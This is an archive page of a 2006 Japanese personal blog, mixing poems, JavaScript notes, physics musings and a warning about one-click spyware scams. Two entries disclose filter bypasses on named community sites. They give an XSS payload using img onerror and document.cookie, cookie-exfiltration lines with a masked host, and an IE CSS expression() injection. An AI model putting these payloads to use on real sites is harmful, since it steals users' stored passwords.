随筆・ザの人

円い月の丸い兎 - そして誰もまるくなった -

( ´▽`)所詮この世は焼肉定食
( ´▽`)強ければ食い、弱ければ焼く

兎腹ポコー
プロフィール
最近のカテゴリ
料理[18]
雑記[381]
読書[34]
科学[79]
脳内[84]
動画[104]
映画[24]
2006
123456789101112
この随筆は、新しい「ザの人」にて絶賛新連載中です。
随筆の続きはこちら

06/01/31(Tue)

Category:ザ掲示板

火狐さんとはひたすら相性が悪いなぁ・・・

ctime: 06/01/31(Tue) 20:14
標準だと文字サイズ小さすぎますね。
というかこれでザの人を見ようとするとCSSが適応されたりされなかったりするんだけど原因が分からない。
<画像略>
Category:雑記

やるなGoogleもしかして検索

06/01/30(Mon)

Category:雑記

雑記

ctime: 06/01/30(Mon) 20:32
凄い人物を着眼したもんだわ。
Category:雑記

大気は汚れていて

ctime: 06/01/30(Mon) 19:26
タラちゃん「目がちかちかするデス」

マスオ「ホントだ、僕も」
Category:語学

英語のサイトで勉強勉強

ctime: 06/01/30(Mon) 16:45
英語による日本のドラマの紹介など。
http://wiki.d-addicts.com/index.php?title=Category:JDrama&from=0

説明が書かれていないものもありますが、なかなかいい表現があって勉強になりますね。


例文:

They have fallen in love with the same man, Yukio.

彼女たちは一人の男性、由岐雄と恋に落ちた。

This is an epic spanning 30 years filled with love and hatred.

これは愛と憎しみに満ちた、30年に渡る物語です。


うはーかっこええ(´▽` )

これぐらいすらすらと英語で表現できるようになれたらいいなぁ(笑)。
Category:Flash

ActionScriptの解説でevalが云々

ctime: 06/01/30(Mon) 16:13
FlashのActionScriptではevalが使われることが多いようです。
evalメソッドは文字列をJavaScriptのコードとして扱うもので、次のような役割で使われることが多いみたいです。

eval("obj" + i)._visible = false;

つまりオブジェクトの名前の最後に数値を付けていて、
それらをループ構造などで呼び出したい場合などに使うということです。

ところでobj1._visibleはobj1が自分自身の階層に位置するオブジェクトであった場合、
this.obj1_visibleのように記述することができます。
さらに、○○○.×××は○○○["×××"]というような表現方法もあることから、
ここからobj1._visibleがthis["obj1"].visibleに等しいことが分かります。
したがって、「eval("obj" + i)._visible = false;」は以下のようにも書くことができます。

this["obj" + i]._visible = false;

べつにeval(string)でもthis[string]でも、どちらでもいいのですが、
thisのほうが何故か意味的にもかなっているように感じるのは気のせいでしょうか?


ちなみにJavaScriptでもwindow.open()はwindow["open"]()ともかけるしdocument.write()はdocument["write"]()ともかけます。
どうでもいいですか?そうですか・・・。
Category:JavaScript

あなたは-e^(iπ)人目のJavaScript乱用監視者です

ctime: 06/01/30(Mon) 15:31
下はページを一つ戻らせるリンクです。

<a href="javascript:history.back()">戻る</a>

こういうのを使うサイトは上位ページから来たことを前提にしていることも少なくないようです。
検索エンジンを使って直接そのページにアクセスしてきた人間はどうなるんでしょうね
(JavaScriptが使用できないブラウザの問題もありますが)。

そもそも講座サイトでもこうした問題点を解説しないのが悪いんですよ。
おまけにサイト利用者はトップページから入ってくるものと思いこんでいる人が多い。

あと余計だなと思うものにこんなものがあります。

if (parent == self) {location.href = "フレームページ";}

つまりフレームに表示されるべきページを直接開いた場合、
上位フレームページに自動で移動するというものです。
こちらは検索でそのページに行き着いてしまった場合に
トップに移動させるために使われることが多いようです。

ただ、検索で行き着いたと言うことは、そのページの内容こそが今すぐに見たいのであって、
Category:雑記

これはこの世の事ならず

ctime: 06/01/30(Mon) 3:24
空也上人の地蔵和讃。

泣けてくるよ。勿論全文覚えましたから。


これはこの世の事ならず
死出の山路の裾野なる
西院(さい)の河原の物語
聞くにつけても哀れなり
二つ三つや四つ五つ
十にも足らぬみどり子が
西院の河原に集まりて
父上恋し母恋し
恋し恋しと泣く声は
この世の声とはこと変わり
悲しさ骨身を通すなり
かのみどり子の所作として
河原の石を取り集め
これにて廻向の塔を組む
一重組んでは父のため
二重組んでは母のため
Category:脳内

大馬鹿者の重大な戯れ言

ctime: 06/01/30(Mon) 3:09
<画像略>このキチガイ歌唱め!

そうさ、おまえの言うとおり男も女も分化しなければ同じなんだ!

右心室も脾臓もサプレッサーT細胞も網膜もみーんな同じ!

それどころかみーんな同じなんだぁハハハ・・・!

( ´▽`)生命統一の唄だぁ!!

チャッチャラッチャ〜〜チャラリンリン

ピーロリーピーローリ〜ピロピロリ〜〜

彼は野菜を食べましたか?

いいえ!彼は野菜を殺したのです!

彼は果物を採りましたか?

いいえ!彼は果実を構成する細胞のDNAを殺し、また種の細胞のDNAの存続を助けたのです!
Category:JavaScript

ネタのようなネタ(windowはどこへやら)

ctime: 06/01/30(Mon) 1:12
初心者に慣れてもらうためのJavaScript講座サイトなどでは
必ずと言っていいほどwindow.openが紹介されます。
まずは開いてみようってな感じで(「表示してみよう」ならdocument.writeですね)。

さてところでなぜ"window."openなのでしょうか。
JavaScriptの「○○○.×××」のような表現は、○○○というオブジェクトの下にある×××というツリー状構造を表現するものです。
document.writeなら、documentオブジェクトの下のwriteメソッドという意味になります。
これを「write("ほげほげ")」のようにdocumentの下にあるというように省略することはできませんが、
windowオブジェクトの下にあるオブジェクトに関しては"window."の部分を省略できるのです(多分最上位オブジェクトだからなんでしょう)。
実際ほとんどの場合、windowは省略されているといえます。

例えばalert()はwindow.alert()、document.write()もwindow.document.write()
最上位フレームのウィンドウオブジェクトを表すparentはwindow.parent、
さらにグローバル変数としてのxだってwindow.xと表すことができます。

なぜ付けて当然の如くwindow.openなのかなーと考えていくと、
ウィンドウそのものに関わるものであるから何となくそうされてきたんじゃないかと思うようになりました。
"window."が省略されないことが多いものとしていくつか例を挙げていくと、

window.open:ウィンドウを開く
window.close:ウィンドウを閉じる

ハムスター島の欠陥とか

ctime: 06/01/30(Mon) 0:27
簡易の携帯対応ホームページ作成サイトのハムスター島にも問題がありましたね。
あのサイトはログインで入力したパスワードが平文のままcookieに入るのです。
しかもハムスター島内のあらゆるページでそのcookieが共有されているという点が問題なんです。

ハムスター島ではSCRIPT要素が使用できないようになっていますが、
ただそれだけの規制では抜け穴なんていくらでもあるわけです。
例えば<img src="" onerror="alert(document.cookie)">。
この意味は、onerrorというイベントで(このイベントハンドラは画像の読み込みエラーを起こした場合に実行されます)「alert(document.cookie)」というスクリプトが実行されるというものです。
src属性値が空であるため、画像の読み込みエラーによりアラートでcookieの内容が表示されます。
これだけなら危険はないのですが、例えばlocation='http://************?'+document.cookieなどとされてしまうと、そのページを開いた瞬間にパスワードの入ったcookieが外部に漏れてしまいます。
でもページジャンプはあからさますぎるから(new Image()).src=''http://************?'+document.cookie'のようにこっそりアクセスさせる手段も考えられますね。

ただ、ログインした後ハムスター島内の他人のページを訪れると、cookieにパスワードが残留している場合としていない場合があるようで、その条件はよく分かっていません。

06/01/29(Sun)

ぱどタウンのバグとか

ctime: 06/01/29(Sun) 15:09
ときどきタグが使用できる掲示板なんかでstyle属性が使用できるところがありますがあれってきけんですよね。
URL指定するところにjavascript:〜を入れれば普通に実行されるし。

ところでぱどタウンというコミュニティもstyle属性が使えるのです。
ただこのサイトの場合、positionが使えないだとかいろいろと安全にするためのチェックはしているみたいなのですがちょっと不完全。
多分、「特定のものだけを使えるようにする」ではなくて、「特定のものを使えないようにする」方式だからこういった欠陥が出てくるんだろうな。
IEのCSSにはexpressionという独自拡張があって、ダイナミックにスタイルシートを扱えるようにするものなんですが、これはJavaScriptを実行するものなんですよ。
だから悪意あるスクリプトも当然実行可能なわけです(悪意が無くてもふとした拍子に無限ループに陥るのも問題だけど)。

でそのぱどタウンでもexpressionが使えるから無限ループもブラクラもやりたい放題。
1年ほど前にこの問題の報告をしたんだけど、今確認してみたところ未だに対策されていない。
管理者はやる気がないのか・・・。

まあ、一部のバグでJavaScriptが使えるなんて知れ渡っていないから今のところ問題が起こっていないんだけど。

アラートを表示させる例:
<font style="color:expression(window.x?'red':(function(){x='red',alert('( ´▽`)')})(),x)">abc</font>

スパイウェアを実行させるワンクリック詐欺

ctime: 06/01/29(Sun) 13:41
最近多いね。

何がってワンクリック系のスパイウェアを植え付けるサイトによる被害。
仕組みは非常に簡単で、アダルト動画が見られるとか何だとか適当なことを書いて実行ファイル(内容はスパイウェア)へリンクを張るだけ。
そのリンクをクリックすると"ファイルのダウンロード"のダイアログが現れ、開くをクリックするか、保存を選択し、その後保存したファイルを開くとスパイウェアに感染。

最近増えているタイプは多分初期の頃から鑑定スレに登場していて感染した報告もあったのです。
これはアダルトサイト系のBlogもどきで、そのページのリンク全てがスパイウェアファイルへのリンクとなっているもの。
以前は単純なリンクだったんですが、最近はリンクにマウスを乗せてもステータスバーを隠してURLが表示されないようにしたり、年齢認証の小ウィンドウを表示したりと工夫が見られる。
どうも使用されている画像などから同じグループか人間の仕業だと推察されるんだけど、URLも転々として次から次へと新しいサイトが現れて、いちいち報告するほどの労力を使う気にもなれない。

とりあえずアイコンが偽装されていないかと保存してみたらAVGさんがTrojan horse PSW.Generic.PNXと警告。
ちゃんと検出された・・・ということはノートンさんやバスターさんでも警告されるはずなんだけど。
うーん、感染した人はアップデートをしていないのか、常駐すらさせてなかったのか・・・。

実行ファイルなんてそれこそ何でもできて、例えば保存してあるファイルを全部上書きしたり削除することだってできてしまう。
だから信頼できない実行ファイルを開くということがどれほど危険なのかぐらい知っておくべきだと思います。
いくら脆弱性が埋められても自ら実行してしまったのでは意味がないですからね。

悪意ある人間がコンピュータの知識に乏しい人間に親しくなって、実行ファイルを開かせるとかいった手口があるけど、こういった問題でも実行ファイルは危険性があるという知識を持っていれば回避されうる。
それでも親しい人物だからということで信頼してしまう場合もあるかもしれないですがね。
Category:物理学

唄を忘れたカナリヤは、柳の鞭でぶちましょか。いえいえそれはカナリヤバイ。

ctime: 06/01/29(Sun) 4:09
そもそも電子の軌道間遷移とかって量子化されたエネルギー準位だから
鋭い線スペクトルになると思うんだけど、
実際UV-visスペクトル測定するとある程度幅のある吸収ピークが現れる。
このことの量子力学的な意味の解説を前に聞いたことがあったんだけどすっかり忘れてしまったなぁ。
吸収スペクトルでなくても、例えば誘電率だって特異振動数からかなり離れた位置でも振動数の差が明らかに影響している。
減衰が線の幅を支配するとかどうもどういう意味なのか理解しづらい。

でも量子力学というものが難しく感じるからこそ魅力的に感じてしまうんだよなぁ・・・。
Category:JavaScript

JavaScript 32ビット掛け算

ctime: 06/01/29(Sun) 3:36
JavaScriptの整数演算の続き。
掛け算に対応させてみた(mult32)。


<script type="text/javascript">
<!--
function add32(a, b) {
var n;
n = (a & 0x3fffffff) + (b & 0x3fffffff);
return (((a >>> 30) + (b >>> 30) + (n >> 30)) << 30) + (n & 0x3fffffff);
}

function sum32() {
var i, n;
for (i = 1, n = arguments[0]; i < arguments.length; i++) {
n = add32(n, arguments[i]);
}
return n;
}

function mult32(a, b) {
Category:雑記

一家に一本 パン切り包丁

ctime: 06/01/29(Sun) 1:43
やっぱパンはパン切り包丁じゃなきゃだめですよね。
あの"なみなみ"によって狭い範囲に強い力が加わるのと
パンを削り取る効果によって見事な切れ味を示すなんとも優れたる発明。
Category:雑記

脳髄は考えるところにあらず

ctime: 06/01/29(Sun) 1:32
「脳髄は一種の電話交換局に過ぎない」

最近この考え方、あながち間違いではないような気がしてきました。
まあ以前からなかなか面白い発想だとは思っていたのですが。
脳も神経系の一部で、最初は中枢的な部分が神経系になかったが、
進化の仮定で脊椎動物に中枢となる部分が現れた。
脳がない神経系を持つ生命体の場合、神経とは特定の条件を特定の動作に結びつける、
これは電話交換局に例えられるでしょう。
一方、進化して脳を手に入れた生命体は、
脳を持たないが神経系のある生命体に比べ、
条件と動作の対応が遥かに複雑になってはいるが、
やはり電話交換局としての機能は今も続いているのではないだろうかと思うのです。
Category:脳内

世界平和祈祷もちつき

ctime: 06/01/29(Sun) 1:03
ぺったんぺったん もちぺったん

きょうはまんげつ もちぺったん

うさぎがおどって ぺったんぺったん

もちつきうさぎの ぺったんぺったん

これはたいへん ぺったんこ

のどにつまって ぺったんこ

さんずのかわで もちぺったん
Category:脳内

改行文字に特有のピークが4つに分裂して武田鉄矢

ctime: 06/01/29(Sun) 0:16
風邪を引くとたまに幻覚幻聴などが現れるんですよ。
いつも風邪が治るとどんな感覚だったのかあまり思い出せないのですが、
つい最近、風邪を引いているわけでもないのになぜか同じような症状が現れました。
その日は疲れているのかと思ってさっさと寝ることにした。


内容を忘れないように書いておこう。


・視覚
遠近感に異常、近くにある物体がもの遠くに見えたり近くに見えたりする。
多少の眩暈、脳内のイメージと実際に見えるものが一部混乱

・聴覚
何かが接近するような脅迫感・圧迫感のある幻聴。
頭を振ったり体を動かさないとどんどん大きくなるように感ずる。

・触覚
衣類を含め、体に触れるものに対するごわつくような異様な不快感。

・他
後ろに落下するかのような感覚。
体中、頭から手足の指の一本一本までを激しい水流が突き抜けるかのような感覚(幻聴と共に)。
ぼんやりとした、巨大で圧迫感がある物体が体を突き抜けるようなイメージ。

06/01/28(Sat)

Category:脳内

山田達の沈黙

ctime: 06/01/28(Sat) 21:54
神に会えるって本当ですか?

神に会えると聞いて始めました。

それは心の底から欲したものですか?

でも神に会いたいんです。

神の瞬間には何があるのですか?

喉から手が出るほどです。

それを排除したかったのですか?

中核に位置しているのです。

では何か得をするのですか?

どうしても気付きたかったんです。
recent 《   》 past
2006
123456789101112
thebbs.jp